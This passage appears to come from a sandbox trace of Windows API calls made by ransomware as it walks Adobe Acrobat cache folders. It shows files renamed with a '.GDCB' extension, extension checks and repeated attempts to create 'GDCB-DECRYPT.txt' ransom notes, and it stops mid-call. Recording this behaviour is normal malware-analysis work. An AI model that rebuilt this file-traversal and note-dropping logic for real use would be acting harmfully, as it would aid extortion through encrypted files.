returned 1 [0170.230] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.230] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.230] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.230] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.230] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.230] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.230] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.231] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 210 [0170.231] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.231] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.231] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.231] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.231] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.231] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 215 [0170.231] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.231] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.231] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.231] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.231] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.231] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 205 [0170.231] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.231] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.231] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.231] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.231] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 208 [0170.231] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.231] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.231] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.231] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.231] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 207 [0170.231] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.231] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.231] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.231] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.231] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 206 [0170.231] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.233] GetLastError () returned 0x50 [0170.233] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.233] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 189 [0170.233] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.233] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.233] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.233] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.233] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.233] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.233] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.233] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.233] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.233] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.233] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.233] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 207 [0170.234] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 207 [0170.234] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.234] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.234] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.234] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.234] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.234] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.234] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 207 [0170.234] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 207 [0170.234] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.234] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.234] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.234] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.234] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.234] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.234] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 206 [0170.234] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 206 [0170.234] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.234] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.235] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.235] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.235] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.235] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.235] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 206 [0170.235] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 206 [0170.235] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.235] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.235] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.235] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.235] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.235] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0170.235] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.235] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.235] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.235] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.235] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.235] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.235] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 195 [0170.235] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.235] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dcf90 [0170.236] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.236] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.236] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.236] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.236] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.236] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.236] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.236] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.236] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 208 [0170.236] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.236] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.236] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.236] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.236] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.236] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 208 [0170.236] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.236] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.236] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.236] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.236] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.236] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 211 [0170.236] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.236] FindNextFileW (in: hFindFile=0x5dcf90, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.236] FindClose (in: hFindFile=0x5dcf90 | out: hFindFile=0x5dcf90) returned 1 [0170.236] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.236] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 212 [0170.236] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.238] GetLastError () returned 0x50 [0170.238] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.238] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 195 [0170.238] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.238] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dd1d0 [0170.238] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.238] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.238] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.238] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.238] FindNextFileW 